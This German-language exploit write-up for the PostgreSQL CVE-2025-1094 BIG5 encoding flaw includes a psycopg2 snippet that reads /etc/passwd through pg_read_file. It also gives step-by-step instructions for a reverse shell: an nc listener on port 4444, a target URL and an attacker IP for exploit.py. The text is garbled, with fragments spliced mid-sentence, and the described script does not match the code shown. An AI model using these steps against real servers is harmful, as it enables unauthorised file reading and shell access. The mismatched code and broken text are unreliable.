
Es handelt sich um eine Schwachstelle bei der Eingabebereinigung, die durch eine Kodierungsinkompatibilität verursacht wird und es präparierten Eingaben ermöglicht, Filter zu umgehen. Wenn ein Server verwundbar ist, kann ein Angreifer schädliches SQL einschleusen, das das Backend ausführt.
#Ich habe diesen Exploit unter Bezugnahme auf den PoC geschrieben, der unter CVE-2025-1094 verfügbar ist.
CVE‑2025‑1094 ist eine Schwachstelle bei der Eingabebereinigung in den Escape-Funktionen von PostgreSQLs libpq und dem interaktiven Tool psql. Sie beruht auf der fehlerhaften Verarbeitung von Multibyte-Kodierungen, wenn die Client-Kodierung auf BIG5 gesetzt ist. Unter bestimmten Bedingungen kann dies zu einer fehlerhaften Behandlung von Escape-Zeichen führen, sodass Angreifer die vorgesehenen Query-Grenzen umgehen können.
Diese Schwachstelle wurde von Rapid7 während der Analyse von CVE‑2024‑12356 entdeckt, einem separaten Problem in BeyondTrust-Appliances. Das PostgreSQL-Verhalten wurde im Rahmen einer breiteren verketteten Schwachstelle ausgenutzt, um das Backend-Verhalten weiter zu beeinflussen.
Wenn ein Webserver oder eine Anwendung Benutzereingaben direkt an SQL-Abfragen weitergibt, die über psql ausgeführt werden, und auf gesetzt ist, kann speziell präparierte Eingabe eine SQL-Anweisung vorzeitig beenden und bösartiges SQL anhängen.
client_encodingBIG5Dies ermöglicht zusätzliche Operationen wie das Lesen lokaler Dateien (z. B. /etc/passwd) über PostgreSQL-Funktionen wie lo_export, pg_read_file oder ähnliche Funktionen.
Dabei handelt es sich standardmäßig nicht um eine Schwachstelle zur Remote-Code-Ausführung (RCE) in PostgreSQL. Vielmehr handelt es sich um einen Missbrauch der PostgreSQL-Client-APIs, die bei unzureichender Filterung oder Maskierung ausgenutzt werden können, um vertrauliche Dateiinhalte preiszugeben oder potenziell gefährliches SQL auszuführen.
COPY TO, pg_read_file oder lo_export in Kombination mit SQL-Injection in Client-Anwendungen auszunutzen.BIG5 ist und die Eingabe nicht ordnungsgemäß bereinigt wird.client_encoding=BIG5 konfiguriert.import psycopg2
conn = psycopg2.connect(
host="127.0.0.1",
dbname="test",
user="test",
password="Test"
)
conn.set_client_encoding("BIG5")
cursor = conn.cursor()
# Payload to read /etc/passwd into a server-accessible file
sql = \
"""
DO $$ DECLARE f text; BEGIN f := pg_read_file('/etc/passwd', 0, 1000);
RAISE NOTICE '%%', f; END $$;
"""
cursor.execute(sql)
conn.commit()
##✅ Was macht dieser Exploit.py:
Setzt PGCLIENTENCODING=BIG5 in der Umgebung (Auslösebedingung).
Erstellt ein SQL-Injection-Payload, um aus einer Query auszubrechen und einen neuen COPY-TO-PROGRAM-Befehl einzufügen.
Sendet das Payload über eine GET-Anfrage an den verwundbaren Webserver (/search?q=...).
Wenn das Backend psql verwendet und Eingaben unbereinigt sind, führt COPY TO PROGRAM den Befehl aus und schreibt das Ergebnis oder öffnet eine Shell.
⚠️ Die Reverse Shell wird nur erfolgreich sein, wenn der Server:
SQL mithilfe von psql ausführt (nicht mit parametrisierten DB-Treibern)
COPY TO PROGRAM erlaubt (erfordert Superuser)
ausgehende Verbindungsmöglichkeiten zum Angreifer hat
#Das Python-Skript sendet ein speziell präpariertes Payload an einen verwundbaren Webserver, der Eingaben direkt an einen PostgreSQL-psql-Prozess mit BIG5-Kodierung weitergibt: Schritte zur Verwendung:
Starte einen Listener im Terminal:
nc -lvnp 4444
Bearbeite das Exploit-Skript:
Setze TARGET_URL auf die IP oder Domain des Zielservers. Bestätige, dass der ENDPOINT der Route entspricht (z. B. /search). Passe REVERSE_IP und REVERSE_PORT an deine Attack-Box an.
Führe das Skript in einem anderen Terminal aus:
python3 exploit.py
Ergebnis: Bei Erfolg erhältst du eine Verbindung auf deinem Listener. Wenn nicht, versuche stattdessen, Dateien (z. B. /etc/passwd) mithilfe von pg_read_file-Payloads zu lesen.
Um dies zu testen:
EUC_TW oder einer ähnlichen Kodierung.psql oder nicht maskiertes dynamisches SQL mit PostgreSQL.pg_read_file oder lo_export haben.client_encoding=BIG5, sofern nicht ausdrücklich erforderlich.